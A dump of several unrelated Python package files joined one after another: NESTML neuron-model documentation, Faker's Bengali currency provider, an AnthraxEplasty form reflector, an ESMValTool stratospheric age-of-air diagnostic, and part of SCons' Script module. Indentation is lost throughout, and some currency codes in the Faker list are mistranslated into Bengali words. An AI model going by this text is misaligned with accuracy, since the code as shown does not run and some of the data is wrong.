"tau_AMPA_2", "ms", "2.4ms", "decay time, Tau_1 < Tau_2"
"NMDA_g_peak", "nS", "0.075nS", "peak conductance"
"tau_NMDA_1", "ms", "4.0ms", "rise time"
"tau_NMDA_2", "ms", "40.0ms", "decay time, Tau_1 < Tau_2"
"NMDA_E_rev", "mV", "0.0mV", "reversal potential"
"NMDA_Vact", "mV", "-58.0mV", "inactive for V << Vact, inflection of sigmoid"
"NMDA_Sact", "mV", "2.5mV", "scale of inactivation"
"GABA_A_g_peak", "nS", "0.33nS", "peak conductance"
"tau_GABAA_1", "ms", "1.0ms", "rise time"
"tau_GABAA_2", "ms", "7.0ms", "decay time, Tau_1 < Tau_2"
"GABA_A_E_rev", "mV", "-70.0mV", "reversal potential"
"GABA_B_g_peak", "nS", "0.0132nS", "peak conductance"
"tau_GABAB_1", "ms", "60.0ms", "rise time"
"tau_GABAB_2", "ms", "200.0ms", "decay time, Tau_1 < Tau_2"
"GABA_B_E_rev", "mV", "-90.0mV", "reversal potential for intrinsic current"
"I_e", "pA", "0pA", "constant external input current"
State variables
+++++++++++++++
.. csv-table::
:header: "Name", "Physical unit", "Default value", "Description"
:widths: auto
"r", "integer", "0", "number of steps in the current refractory phase"
"V_m", "mV", "-70.0mV", "Membrane potential"
"Act_m", "real", "alpha_m_init / (alpha_m_init + beta_m_init)", "Activation variable m for Na"
"Inact_h", "real", "alpha_h_init / (alpha_h_init + beta_h_init)", "Inactivation variable h for Na"
"Act_n", "real", "alpha_n_init / (alpha_n_init + beta_n_init)", "Activation variable n for K"
"g_AMPA", "real", "0", ""
"g_NMDA", "real", "0", ""
"g_GABAA", "real", "0", ""
"g_GABAB", "real", "0", ""
"g_AMPA$", "real", "AMPAInitialValue", ""
"g_NMDA$", "real", "NMDAInitialValue", ""
"g_GABAA$", "real", "GABA_AInitialValue", ""
"g_GABAB$", "real", "GABA_BInitialValue", ""
Equations
+++++++++
.. math::
\frac{ dV_{m} } { dt }= \frac 1 { C_{m} } \left( { (-(I_{Na} + I_{K} + I_{L}) + I_{e} + I_{stim} + I_{syn}) } \right)
.. math::
\frac{ dAct_{n} } { dt }= \frac 1 { \mathrm{ms} } \left( { (\alpha_{n} \cdot (1 - Act_{n}) - \beta_{n} \cdot Act_{n}) } \right)
.. math::
\frac{ dAct_{m} } { dt }= \frac 1 { \mathrm{ms} } \left( { (\alpha_{m} \cdot (1 - Act_{m}) - \beta_{m} \cdot Act_{m}) } \right)
.. math::
\frac{ dInact_{h} } { dt }= \frac 1 { \mathrm{ms} } \left( { (\alpha_{h} \cdot (1 - Inact_{h}) - \beta_{h} \cdot Inact_{h}) } \right)
Source code
+++++++++++
The model source code can be found in the NESTML models repository here: `traub_cond_multisyn <https://github.com/nest/nestml/tree/master/models/neurons/traub_cond_multisyn.nestml>`_.
Characterisation
++++++++++++++++
.. include:: traub_cond_multisyn_characterisation.rst
.. footer::
Generated at 2023-03-22 17:48:49.009221 | PypiClean |
/Faker-19.3.1.tar.gz/Faker-19.3.1/faker/providers/currency/bn_BD/__init__.py | from faker.providers.person.bn_BD import translate_to_bengali_digits
from .. import Provider as CurrencyProvider
class Provider(CurrencyProvider):
"""
Implement currency provider for ``bn_BD`` locale.
"""
currencies = (
("AED", "সংযুক্ত আরব আমিরাত দিরহাম"),
("AFN", "আফগান আফগানি"),
("সমস্ত", "আলবেনিয়ান লেক"),
("AMD", "আর্মেনিয়ান ড্রাম"),
("ANG", "নেদারল্যান্ডস অ্যান্টিলিয়ান গিল্ডার"),
("AOA", "অ্যাঙ্গোলান কোয়ানজা"),
("ARS", "আর্জেন্টিনা পেসো"),
("AUD", "অস্ট্রেলিয়ান ডলার"),
("AWG", "আরুবান ফ্লোরিন"),
("AZN", "আজারবাইজানীয় মানাত"),
("BAM", "বসনিয়া ও হার্জেগোভিনা পরিবর্তনযোগ্য চিহ্ন"),
("BBD", "বার্বাডিয়ান ডলার"),
("বিডিটি", "বাংলাদেশি টাকা"),
("BGN", "বুলগেরিয়ান লেভ"),
("BHD", "বাহরাইন দিনার"),
("BIF", "বুরুন্ডিয়ান ফ্রাঙ্ক"),
("BMD", "বারমুডিয়ান ডলার"),
("BND", "ব্রুনাই ডলার"),
("BOB", "বলিভিয়ান বলিভিয়ানো"),
("BRL", "ব্রাজিলিয়ান রিয়াল"),
("BSD", "বাহামিয়ান ডলার"),
("BTN", "ভুটানি নগুলট্রাম"),
("BWP", "বতসোয়ানা পুলা"),
("BYR", "বেলারুশিয়ান রুবেল"),
("BZD", "বেলিজ ডলার"),
("CAD", "কানাডিয়ান ডলার"),
("CDF", "কঙ্গোলিজ ফ্রাঙ্ক"),
("CHF", "সুইস ফ্রাঙ্ক"),
("CLP", "চিলিয়ান পেসো"),
("CNY", "রেনমিনবি"),
("COP", "কলম্বিয়ান পেসো"),
("CRC", "কোস্টারিকান কোলন"),
("CUC", "কিউবান কনভার্টেবল পেসো"),
("CUP", "কিউবান পেসো"),
("CVE", "কেপ ভার্ডিয়ান এসকুডো"),
("CZK", "চেক কোরুনা"),
("DJF", "জিবুতিয়ান ফ্রাঙ্ক"),
("DKK", "ড্যানিশ ক্রোন"),
("DOP", "ডোমিনিকান পেসো"),
("DZD", "আলজেরিয়ান দিনার"),
("EGP", "মিশরীয় পাউন্ড"),
("ERN", "ইরিত্রিয়ান নাকফা"),
("ETB", "ইথিওপিয়ান বির"),
("EUR", "ইউরো"),
("FJD", "ফিজিয়ান ডলার"),
("FKP", "ফকল্যান্ড দ্বীপপুঞ্জ পাউন্ড"),
("GBP", "পাউন্ড স্টার্লিং"),
("GEL", "জর্জিয়ান লারি"),
("GGP", "গার্নসি পাউন্ড"),
("GHS", "ঘানার সিডি"),
("GIP", "জিব্রাল্টার পাউন্ড"),
("GMD", "গাম্বিয়ান ডালাসি"),
("GNF", "গিনি ফ্রাঙ্ক"),
("GTQ", "গুয়াতেমালান কুয়েটজাল"),
("GYD", "গায়ানিজ ডলার"),
("HKD", "হংকং ডলার"),
("HNL", "হন্ডুরান লেম্পিরা"),
("HRK", "ক্রোয়েশিয়ান কুনা"),
("HTG", "হাইতিয়ান গার্ড"),
("HUF", "হাঙ্গেরিয়ান ফরিন্ট"),
("IDR", "ইন্দোনেশিয়ান রুপিয়া"),
("ILS", "ইসরায়েলি নতুন শেকেল"),
("NIS", "ইসরায়েলি নতুন শেকেল"),
("IMP", "ম্যাঙ্কস পাউন্ড"),
("INR", "ভারতীয় রুপি"),
("IQD", "ইরাকি দিনার"),
("IRR", "ইরানি রিয়াল"),
("ISK", "আইসল্যান্ডিক ক্রোনা"),
("JEP", "জার্সি পাউন্ড"),
("JMD", "জ্যামাইকান ডলার"),
("JOD", "জর্ডানিয়ান দিনার"),
("JPY", "জাপানি ইয়েন"),
("KES", "কেনিয়ান শিলিং"),
("KGS", "কিরগিজস্তানি সোম"),
("KHR", "কম্বোডিয়ান রিয়েল"),
("KMF", "কমোরিয়ান ফ্রাঙ্ক"),
("KPW", "উত্তর কোরিয়ান জয়ী"),
("KRW", "দক্ষিণ কোরিয়ান জয়ী"),
("KWD", "কুয়েতি দিনার"),
("KYD", "কেম্যান দ্বীপপুঞ্জ ডলার"),
("KZT", "কাজাখস্তানি টেঙ্গে"),
("LAK", "লাও কিপ"),
("LBP", "লেবানিজ পাউন্ড"),
("LKR", "শ্রীলঙ্কা রুপি"),
("LRD", "লাইবেরিয়ান ডলার"),
("LSL", "লেসোথো লোটি"),
("LTL", "লিথুয়ানিয়ান লিটাস"),
("LYD", "লিবিয়ান দিনার"),
("MAD", "মরক্কান দিরহাম"),
("MDL", "Moldovan leu"),
("MGA", "মালাগাসি আরিয়ার"),
("MKD", "ম্যাসেডোনিয়ান ডেনার"),
("MMK", "বর্মী কিয়াত"),
("MNT", "মঙ্গোলিয়ান তুগ্রিক"),
("MOP", "ম্যাকানিজ পটাকা"),
("MRO", "মৌরিতানীয় ওগুইয়া"),
("MUR", "মরিশিয়ান রুপি"),
("MVR", "মালদ্বীপের রুফিয়া"),
("MWK", "মালাউইয়ান কোয়াচা"),
("MXN", "মেক্সিকান পেসো"),
("MYR", "মালয়েশিয়ান রিঙ্গিত"),
("MZN", "মোজাম্বিকন মেটিক্যাল"),
("NAD", "নামিবিয়ান ডলার"),
("NGN", "নাইজেরিয়ান নায়রা"),
("NIO", "নিকারাগুয়ান কর্ডোবা"),
("NOK", "নরওয়েজিয়ান ক্রোন"),
("NPR", "নেপালি রুপি"),
("NZD", "নিউজিল্যান্ড ডলার"),
("OMR", "ওমানি রিয়াল"),
("PAB", "পানামানিয়ান বালবোয়া"),
("পেন", "পেরুভিয়ান সল"),
("PGK", "পাপুয়া নিউ গিনি কিনা"),
("PHP", "ফিলিপাইন পেসো"),
("PKR", "পাকিস্তানি রুপি"),
("PLN", "পোলিশ জ্লটি"),
("PYG", "প্যারাগুয়ের গুয়ারানি"),
("QAR", "কাতারি রিয়াল"),
("RON", "রোমানিয়ান লিউ"),
("RSD", "সার্বিয়ান দিনার"),
("RUB", "রাশিয়ান রুবেল"),
("RWF", "রুয়ান্ডার ফ্রাঙ্ক"),
("SAR", "সৌদি রিয়াল"),
("SBD", "সলোমন দ্বীপপুঞ্জ ডলার"),
("SCR", "সেচেলো রুপি"),
("SDG", "সুদানিজ পাউন্ড"),
("SEK", "সুইডিশ ক্রোনা"),
("SGD", "সিঙ্গাপুর ডলার"),
("SHP", "সেন্ট হেলেনা পাউন্ড"),
("SLL", "সিয়েরা লিওনিয়ান লিওন"),
("SOS", "সোমালি শিলিং"),
("SPL", "সেবোরগা লুইগিনো"),
("SRD", "সুরিনামী ডলার"),
("STD", "সাও টোমে এবং প্রিন্সিপে ডোবরা"),
("SVC", "সালভাডোরান কোলন"),
("SYP", "সিরিয়ান পাউন্ড"),
("SZL", "সোয়াজি লিলাঞ্জেনি"),
("THB", "থাই বাত"),
("TJS", "তাজিকিস্তানি সোমনি"),
("TMT", "তুর্কমেনিস্তান মানাত"),
("TND", "তিউনিসিয়ান দিনার"),
("TOP", "টোঙ্গান পা'আঙ্গা"),
("TRY", "তুর্কি লিরা"),
("TTD", "ত্রিনিদাদ ও টোবাগো ডলার"),
("TVD", "টুভালুয়ান ডলার"),
("TWD", "নতুন তাইওয়ান ডলার"),
("TZS", "তানজানিয়ান শিলিং"),
("UAH", "ইউক্রেনীয় রিভনিয়া"),
("UGX", "উগান্ডার শিলিং"),
("USD", "মার্কিন যুক্তরাষ্ট্র ডলার"),
("UYU", "উরুগুয়ের পেসো"),
("UZS", "উজবেকিস্তানি তাই'"),
("VEF", "ভেনিজুয়েলা বলিভার"),
("VND", "ভিয়েতনামী তামা"),
("VUV", "ভানুয়াতু ভাতু"),
("WST", "সামোয়ান তালা"),
("XAF", "সেন্ট্রাল আফ্রিকান সিএফএ ফ্রাঙ্ক"),
("XCD", "পূর্ব ক্যারিবিয়ান ডলার"),
("XDR", "বিশেষ অঙ্কন অধিকার"),
("XOF", "ওয়েস্ট আফ্রিকান সিএফএ ফ্রাঙ্ক"),
("XPF", "সিএফপি ফ্রাঙ্ক"),
("YER", "ইয়েমেনি রিয়াল"),
("ZAR", "দক্ষিণ আফ্রিকান র্যান্ড"),
("ZMW", "জাম্বিয়ান কোয়াচা"),
("ZWD", "জিম্বাবুয়েন ডলার"),
)
cryptocurrencies = (
("AMP", "এএমপি"),
("AUR", "অরোরাকয়েন"),
("BC", "ব্ল্যাককয়েন"),
("BTC", "বিটকয়েন"),
("BURST", "ব্রাস্টকয়েন"),
("DASH", "ড্যাশ"),
("DOGE", "ডোজকয়েন"),
("EMC", "ইমারকয়েন"),
("ETH", "ইথেরিয়াম"),
("ETC", "ইথেরিয়াম ক্ল্যাসিক"),
("GRC", "গ্রিডকয়েন"),
("KOI", "কয়েনইয়ে"),
("LTC", "লাইট কয়েন"),
("MSC", "ওমনি"),
("MZC", "মাজাকয়েন"),
("NMC", "নেমকয়েন"),
("NXT", "এনএক্সটি"),
("POT", "পট কয়েন"),
("PPC", "পিয়ারকয়েন"),
("TIT", "টিটকয়েন"),
("VTC", "ভার্টকয়েন"),
("XDN", "ডিজিটাল নোট"),
("XMR", "মনেরো"),
("XPM", "প্রাইম কয়েন"),
("XRP", "রিপল"),
("ZEC", "জেক্যাশ"),
("STC", "সুইফট কয়েন"),
("BCN", "বাইট কয়েন"),
("FTH", "ফেদার কয়েন"),
("NEO", "নিও"),
("NEM", "জেম"),
("USDT", "টেথার"),
("IOTA", "আই ও টা"),
("DRC", "ডিক্রিড"),
("WAVES", "ওয়েভস প্লাটফর্ম"),
("LSK", "লিস্ক"),
("ZCL", "জেক্ল্যাসিক"),
("BCH", "বিটকয়েন ক্যাশ"),
("UBQ", "ইউবিক"),
("EOS", "ই ও এস ডট আইও"),
("SRN", "সিরিন ল্যাবস"),
("TRX", "ট্রন"),
("ADA", "কার্দানো"),
)
def pricetag(self) -> str:
"""
Return price in Bengali digit with Bangladeshi Currency symbol.
:example: '৳ ৫৫,৫৫০'
"""
currency_symbol = self.currency_symbol("BDT")
price = self.numerify(self.random_element(self.price_formats))
return currency_symbol + " " + translate_to_bengali_digits(price) | PypiClean |
/AnthraxEplasty-0.0.3.tar.bz2/AnthraxEplasty-0.0.3/src/anthrax/eplasty/reflector.py | from collections import OrderedDict
from eplasty.object.base import Object
from eplasty.object.meta import ObjectMeta
from eplasty.field.simple import Integer, CharacterVarying, Text, Date, Array
from eplasty.field.helper import SimplePK
from eplasty.field.adapter import Html
from eplasty.field.blob import Blob
from eplasty.field.image import Image
from anthrax.util import bind_fields
from anthrax.reflector import Reflector
from anthrax.field.base import FieldMeta
from anthrax.field import IntegerField, TextField, DateField, ListField
from anthrax.field import FileField
from anthrax.widget import Hidden, TextInput, LongTextInput
from anthrax.html_input.field import HtmlField
from anthrax.eplasty.field import UniqueMixin
EDIT = 'EDIT'
class EplastyReflector(Reflector):
def get_fields(self, form):
if not isinstance(self.source, (Object, ObjectMeta)):
raise TypeError('The reflection source must be Elephantoplasty'
'Object or Object class')
result = OrderedDict()
ObjClass = (
type(self.source) if isinstance(self.source, Object)
else self.source
)
for field in self.source.fields:
anthrax_field = self._handle_field(field, ObjClass)
if anthrax_field is not None:
result[field.name] = anthrax_field
bind_fields(result, form)
return result
def _handle_field(self, field, ObjClass):
dispatcher = self._map.get(type(field))
if dispatcher:
FieldClass, args = getattr(self, dispatcher)(field, ObjClass)
if field.unique:
args['EPClass'] = ObjClass
args['ep_field'] = field
FieldClass = FieldMeta(
FieldClass.__name__ + 'Unique', (FieldClass, UniqueMixin),
{}
)
return FieldClass(**args)
def _simple_pk_handler(self, field, ObjClass):
return IntegerField, {'widgets': [Hidden], 'mode': 'EDIT'}
def _integer_handler(self, field, ObjClass):
return IntegerField, {}
def _varchar_handler(self, field, ObjClass):
return TextField, {}
def _text_handler(self, field, ObjClass):
return TextField, {'widgets': [LongTextInput, TextInput]}
def _date_handler(self, field, ObjClass):
return DateField, {}
def _html_handler(self, field, ObjClass):
return HtmlField, {}
def _array_handler(self, field, ObjClass):
subfield = self._handle_field(field.itemtype, ObjClass)
return ListField, {'subfield': subfield}
def _file_handler(self, field, ObjClass):
return FileField, {}
def _image_handler(self, field, ObjClass):
try:
from anthrax.image.field import ImageField
return ImageField, {}
except ImportError:
return FileField, {}
_map = {
SimplePK: '_simple_pk_handler',
Integer: '_integer_handler',
CharacterVarying: '_varchar_handler',
Text: '_text_handler',
Date: '_date_handler',
Html: '_html_handler',
Array: '_array_handler',
Blob: '_file_handler',
Image: '_image_handler',
} | PypiClean |
/ESMValTool-2.9.0-py3-none-any.whl/esmvaltool/diag_scripts/autoassess/stratosphere/age_of_air.py | import datetime
import logging
import os
import warnings
import iris
import iris.analysis as iai
import matplotlib.pyplot as plt
import numpy as np
from esmvaltool.diag_scripts.autoassess.loaddata import load_run_ss
from .strat_metrics_1 import weight_lat_ave
logger = logging.getLogger(__name__)
# Constant for number of seconds in a 360 day calendar year
# Wrong if gregorian calendar!
RSECS_PER_360DAY_YEAR = float(60 * 60 * 24 * 360)
# What is the source of the reference data???
# Diag 1
# SF6 based data
AGE_YRS = [
0.25, 0.43, 0.80, 1.36, 1.67, 2.25, 2.46, 2.83, 3.06, 3.23, 3.59, 3.85,
4.06, 4.03, 4.11, 4.07, 3.95
]
ZSF6_KM = [
17.0, 18.0, 19.0, 20.0, 21.0, 22.0, 23.0, 24.0, 25.0, 26.0, 27.0, 28.0,
29.0, 30.0, 31.0, 32.0, 33.0
]
# CO2 based data
AGE_YRS2 = [
0.37, 0.39, 0.59, 0.44, 0.54, 1.24, 1.62, 2.04, 2.61, 2.77, 2.82, 3.13,
3.47, 3.50, 3.40, 3.53, 3.92, 3.73
]
ZCO2_KM = [
16.0, 17.0, 18.0, 19.0, 20.0, 21.0, 22.0, 23.0, 24.0, 25.0, 26.0, 27.0,
28.0, 29.0, 30.0, 31.0, 32.0, 33.0
]
# Diag 2
# SF6 based data
AGE2_YRS = [
-0.19, -0.01, 0.18, 0.36, 0.50, 0.77, 1.12, 1.52, 1.95, 2.50, 3.10, 3.66,
4.02, 4.40, 4.68, 4.87, 4.95, 5.01, 5.10, 5.16, 5.23, 5.32, 5.40, 5.19,
5.57, 5.90
]
Z2_KM = [
10.16, 11.09, 12.06, 13.08, 14.05, 15.05, 16.07, 17.06, 18.05, 18.99,
20.03, 21.04, 22.05, 23.03, 24.03, 25.04, 26.03, 27.01, 27.97, 29.01,
30.03, 31.09, 31.98, 32.68, 34.13, 40.10
]
# CO2 based data
AGE2_YRS2 = [
-0.36, 0.59, 0.78, 0.67, 0.79, 0.98, 1.25, 1.49, 1.88, 2.42, 3.03, 3.71,
4.16, 4.48, 4.56, 4.71, 4.75, 4.85, 4.78, 4.79, 4.75, 4.82, 4.74, 4.93,
4.78, 4.80
]
Z2_KM2 = [
10.18, 11.06, 11.90, 13.02, 14.04, 15.04, 16.08, 17.07, 18.03, 19.06,
20.09, 21.11, 22.04, 23.03, 23.98, 25.01, 26.00, 26.98, 27.91, 28.93,
30.01, 31.10, 32.10, 33.01, 33.99, 35.07
]
def calculate_analysis_years(run):
"""Calculate years."""
# 1) Discard first 10 years of run.
analysis_start_year = int(run['start']) + 10
analysis_end_year = int(run['start']) + int(run['nyear'])
# 2) If at least 2 years remain, then age of air can be assessed.
if int(run['nyear']) >= 12:
# 3) If at least 5 years remain, then use the last 5 years.
# If less than 5 years remain, then use all remaining years.
if int(run['nyear']) >= 15:
analysis_start_year = analysis_end_year - 5
else:
raise ValueError()
analysis_start_dt = datetime.datetime(analysis_start_year - 1, 12, 1)
analysis_end_dt = datetime.datetime(analysis_end_year, 11, 1)
return analysis_start_dt, analysis_end_dt
def age_of_air(run):
"""Calculate the age of air metrics."""
# Create metrics dictionary with MDI incase age of air
# diagnostics not available
metrics = {
'RMS error: tropical Age of Air': -10000.,
'RMS error: NH midlatitude Age of Air': -10000.
}
try:
# Set up to only run for 5 year period
analysis_start_dt, analysis_end_dt = calculate_analysis_years(run)
constraint = dict(
from_dt=analysis_start_dt, to_dt=analysis_end_dt, lbproc=128)
# Calculate age of air metrics if appropriate diagnostic available
with warnings.catch_warnings():
warnings.filterwarnings('ignore', '.*orography.*', UserWarning)
agecube = load_run_ss(run, 'monthly', 'age_of_stratospheric_air',
**constraint) # m01s34i150
except iris.exceptions.ConstraintMismatchError:
logger.warning('Age of air fields absent. Skipping this diagnostic.')
except ValueError:
logger.warning("Run length < 12 years: Can't assess age of air")
else:
# Create time/zonal means of age data
agecube = agecube.collapsed(['longitude', 'time'], iris.analysis.MEAN)
# Convert units of data from seconds to years
agecube.data /= RSECS_PER_360DAY_YEAR
# Create latitude bounds for area-weighted averaging
agecube.coord('latitude').guess_bounds()
# Convert units of height from metres to km
agecube.coord('level_height').convert_units('km')
# Calculate area-weighted means for tropics
trop_cons = iris.Constraint(latitude=lambda lat: -10 <= lat <= 10)
diag1 = weight_lat_ave(agecube.extract(trop_cons))
diag1.var_name = 'tropical_age_of_air'
# Calculate area-weighted means for mid-latitudes
mlat_cons = iris.Constraint(latitude=lambda lat: 35 <= lat <= 45)
diag2 = weight_lat_ave(agecube.extract(mlat_cons))
diag2.var_name = 'midlat_age_of_air'
# Write age of air data to CWD
outfile = '{0}_age_of_air_{1}.nc'
cubelist = iris.cube.CubeList([diag1, diag2])
iris.save(cubelist, outfile.format(run['runid'], run.period))
# Calculate metrics
diag1sf6 = iai.Linear(diag1, [('level_height', ZSF6_KM)])
diag1co2 = iai.Linear(diag1, [('level_height', ZCO2_KM)])
diag2sf6 = iai.Linear(diag2, [('level_height', Z2_KM)])
diag2co2 = iai.Linear(diag2, [('level_height', Z2_KM2)])
metric1sf6 = np.sqrt(np.mean((diag1sf6.data - AGE_YRS)**2))
metric1co2 = np.sqrt(np.mean((diag1co2.data - AGE_YRS2)**2))
metric2sf6 = np.sqrt(np.mean((diag2sf6.data - AGE2_YRS)**2))
metric2co2 = np.sqrt(np.mean((diag2co2.data - AGE2_YRS2)**2))
trop_age = (metric1sf6 + metric1co2) / 2.
midl_age = (metric2sf6 + metric2co2) / 2.
# Add metrics to dictionary
metrics['RMS error: tropical Age of Air'] = float(trop_age)
metrics['RMS error: NH midlatitude Age of Air'] = float(midl_age)
return metrics
def multi_age_plot(run):
"""
Plot results.
This function is plotting the results of the function age_of_air for each
run against observations.
"""
# Run age_of_air for each run.
# Age_of_air returns metrics and writes results into an *.nc in the current
# working directory.
# To make this function independent of the previous call to age_of_air,
# age_of_air is run again for each run in this function
#
# This behaviour is due to the convention that only metric_functions can
# return metric values, multi_functions are supposed to
# only produce plots (see __init__.py).
######################################
# Set up constraints to deal with loading data
trop_cons = iris.Constraint(
cube_func=lambda c: c.var_name == 'tropical_age_of_air')
midl_cons = iris.Constraint(
cube_func=lambda c: c.var_name == 'midlat_age_of_air')
# Set up generic input file name
infile = '{0}_age_of_air_{1}.nc'
# Create control filename
cntlfile = infile.format(run['suite_id1'], run['period'])
# Create experiment filename
exptfile = infile.format(run['suite_id2'], run['period'])
# If no control data then stop ...
if not os.path.exists(cntlfile):
logger.warning('Age of air for control absent. skipping ...')
return
# Create tropics plot
fig = plt.figure()
ax1 = plt.gca()
# Plot OBS
plt.plot(
AGE_YRS,
ZSF6_KM,
linestyle='-',
marker='s',
color='black',
label='SF6 obs')
plt.plot(
AGE_YRS2,
ZCO2_KM,
linestyle='-',
marker='D',
color='black',
label='CO2 obs')
# Plot control
diag = iris.load_cube(cntlfile, trop_cons)
levs = diag.coord('level_height').points
plt.plot(diag.data, levs, label=run['suite_id1'])
# Plot experiment
if os.path.exists(exptfile):
diag = iris.load_cube(exptfile, trop_cons)
levs = diag.coord('level_height').points
plt.plot(diag.data, levs, label=run['suite_id2'])
ax1.set_title('Tropical mean age profile (10S-10N)')
ax1.set_xlabel('Mean age (years)')
ax1.set_ylabel('Height (km)')
ax1.set_ylim(16, 34)
ax1.legend(loc='upper left')
fig.savefig('age_tropics.png')
plt.close()
# Create midlats plot
fig = plt.figure()
ax1 = plt.gca()
# Plot OBS
plt.plot(
AGE2_YRS,
Z2_KM,
linestyle='-',
marker='s',
color='black',
label='SF6 obs')
plt.plot(
AGE2_YRS2,
Z2_KM2,
linestyle='-',
marker='D',
color='black',
label='CO2 obs')
# Plot control
diag = iris.load_cube(cntlfile, midl_cons)
levs = diag.coord('level_height').points
plt.plot(diag.data, levs, label=run['suite_id1'])
# Plot experiment
if os.path.exists(exptfile):
diag = iris.load_cube(exptfile, midl_cons)
levs = diag.coord('level_height').points
plt.plot(diag.data, levs, label=run['suite_id2'])
ax1.set_title('Midlatitude mean age profile (35N-45N)')
ax1.set_xlabel('Mean age (years)')
ax1.set_ylabel('Height (km)')
ax1.set_ylim(16, 34)
ax1.legend(loc='upper left')
fig.savefig('age_midlatitudes.png')
plt.close() | PypiClean |
/Nuitka_fixed-1.1.2-cp310-cp310-win_amd64.whl/nuitka/build/inline_copy/lib/scons-2.3.2/SCons/Script/__init__.py |
__revision__ = "src/engine/SCons/Script/__init__.py 2014/07/05 09:42:21 garyo"
import time
start_time = time.time()
import collections
import os
import sys
# Special chicken-and-egg handling of the "--debug=memoizer" flag:
#
# SCons.Memoize contains a metaclass implementation that affects how
# the other classes are instantiated. The Memoizer may add shim methods
# to classes that have methods that cache computed values in order to
# count and report the hits and misses.
#
# If we wait to enable the Memoization until after we've parsed the
# command line options normally, it will be too late, because the Memoizer
# will have already analyzed the classes that it's Memoizing and decided
# to not add the shims. So we use a special-case, up-front check for
# the "--debug=memoizer" flag and enable Memoizer before we import any
# of the other modules that use it.
_args = sys.argv + os.environ.get('SCONSFLAGS', '').split()
if "--debug=memoizer" in _args:
import SCons.Memoize
import SCons.Warnings
try:
SCons.Memoize.EnableMemoization()
except SCons.Warnings.Warning:
# Some warning was thrown. Arrange for it to be displayed
# or not after warnings are configured.
import Main
exc_type, exc_value, tb = sys.exc_info()
Main.delayed_warnings.append((exc_type, exc_value))
del _args
import SCons.Action
import SCons.Builder
import SCons.Environment
import SCons.Node.FS
import SCons.Options
import SCons.Platform
import SCons.Scanner
import SCons.SConf
import SCons.Subst
import SCons.Tool
import SCons.Util
import SCons.Variables
import SCons.Defaults
import Main
main = Main.main
# The following are global class definitions and variables that used to
# live directly in this module back before 0.96.90, when it contained
# a lot of code. Some SConscript files in widely-distributed packages
# (Blender is the specific example) actually reached into SCons.Script
# directly to use some of these. Rather than break those SConscript
# files, we're going to propagate these names into the SCons.Script
# namespace here.
#
# Some of these are commented out because it's *really* unlikely anyone
# used them, but we're going to leave the comment here to try to make
# it obvious what to do if the situation arises.
BuildTask = Main.BuildTask
CleanTask = Main.CleanTask
QuestionTask = Main.QuestionTask
#PrintHelp = Main.PrintHelp
#SConscriptSettableOptions = Main.SConscriptSettableOptions
AddOption = Main.AddOption
GetOption = Main.GetOption
SetOption = Main.SetOption
Progress = Main.Progress
GetBuildFailures = Main.GetBuildFailures
#keep_going_on_error = Main.keep_going_on_error
#print_dtree = Main.print_dtree
#print_explanations = Main.print_explanations
#print_includes = Main.print_includes
#print_objects = Main.print_objects
#print_time = Main.print_time
#print_tree = Main.print_tree
#memory_stats = Main.memory_stats
#ignore_errors = Main.ignore_errors
#sconscript_time = Main.sconscript_time
#command_time = Main.command_time
#exit_status = Main.exit_status
#profiling = Main.profiling
#repositories = Main.repositories
#
import SConscript
_SConscript = SConscript
call_stack = _SConscript.call_stack
#
Action = SCons.Action.Action
AddMethod = SCons.Util.AddMethod
AllowSubstExceptions = SCons.Subst.SetAllowableExceptions
Builder = SCons.Builder.Builder
Configure = _SConscript.Configure
Environment = SCons.Environment.Environment
#OptParser = SCons.SConsOptions.OptParser
FindPathDirs = SCons.Scanner.FindPathDirs
Platform = SCons.Platform.Platform
Return = _SConscript.Return
Scanner = SCons.Scanner.Base
Tool = SCons.Tool.Tool
WhereIs = SCons.Util.WhereIs
#
BoolVariable = SCons.Variables.BoolVariable
EnumVariable = SCons.Variables.EnumVariable
ListVariable = SCons.Variables.ListVariable
PackageVariable = SCons.Variables.PackageVariable
PathVariable = SCons.Variables.PathVariable
# Deprecated names that will go away some day.
BoolOption = SCons.Options.BoolOption
EnumOption = SCons.Options.EnumOption
ListOption = SCons.Options.ListOption
PackageOption = SCons.Options.PackageOption
PathOption = SCons.Options.PathOption
# Action factories.
Chmod = SCons.Defaults.Chmod
Copy = SCons.Defaults.Copy
Delete = SCons.Defaults.Delete
Mkdir = SCons.Defaults.Mkdir
Move = SCons.Defaults.Move
Touch = SCons.Defaults.Touch
# Pre-made, public scanners.
CScanner = SCons.Tool.CScanner
DirScanner = SCons.Defaults.DirScanner
ProgramScanner = SCons.Tool.ProgramScanner
SourceFileScanner = SCons.Tool.SourceFileScanner
# Functions we might still convert to Environment methods.
CScan = SCons.Defaults.CScan
DefaultEnvironment = SCons.Defaults.DefaultEnvironment
# Other variables we provide.
class TargetList(collections.UserList):
def _do_nothing(self, *args, **kw):
pass
def _add_Default(self, list):
self.extend(list)
def _clear(self):
del self[:]
ARGUMENTS = {}
ARGLIST = []
BUILD_TARGETS = TargetList()
COMMAND_LINE_TARGETS = []
DEFAULT_TARGETS = []
# BUILD_TARGETS can be modified in the SConscript files. If so, we
# want to treat the modified BUILD_TARGETS list as if they specified
# targets on the command line. To do that, though, we need to know if
# BUILD_TARGETS was modified through "official" APIs or by hand. We do
# this by updating two lists in parallel, the documented BUILD_TARGETS
# list, above, and this internal _build_plus_default targets list which
# should only have "official" API changes. Then Script/Main.py can
# compare these two afterwards to figure out if the user added their
# own targets to BUILD_TARGETS.
_build_plus_default = TargetList()
def _Add_Arguments(alist):
for arg in alist:
a, b = arg.split('=', 1)
ARGUMENTS[a] = b
ARGLIST.append((a, b))
def _Add_Targets(tlist):
if tlist:
COMMAND_LINE_TARGETS.extend(tlist)
BUILD_TARGETS.extend(tlist)
BUILD_TARGETS._add_Default = BUILD_TARGETS._do_nothing
BUILD_TARGETS._clear = BUILD_TARGETS._do_nothing
_build_plus_default.extend(tlist)
_build_plus_default._add_Default = _build_plus_default._do_nothing
_build_plus_default._clear = _build_plus_default._do_nothing
def _Set_Default_Targets_Has_Been_Called(d, fs):
return DEFAULT_TARGETS
def _Set_Default_Targets_Has_Not_Been_Called(d, fs):
if d is None:
d = [fs.Dir('.')]
return d
_Get_Default_Targets = _Set_Default_Targets_Has_Not_Been_Called
def _Set_Default_Targets(env, tlist):
global DEFAULT_TARGETS
global _Get_Default_Targets
_Get_Default_Targets = _Set_Default_Targets_Has_Been_Called
for t in tlist:
if t is None:
# Delete the elements from the list in-place, don't
# reassign an empty list to DEFAULT_TARGETS, so that the
# variables will still point to the same object we point to.
del DEFAULT_TARGETS[:]
BUILD_TARGETS._clear()
_build_plus_default._clear()
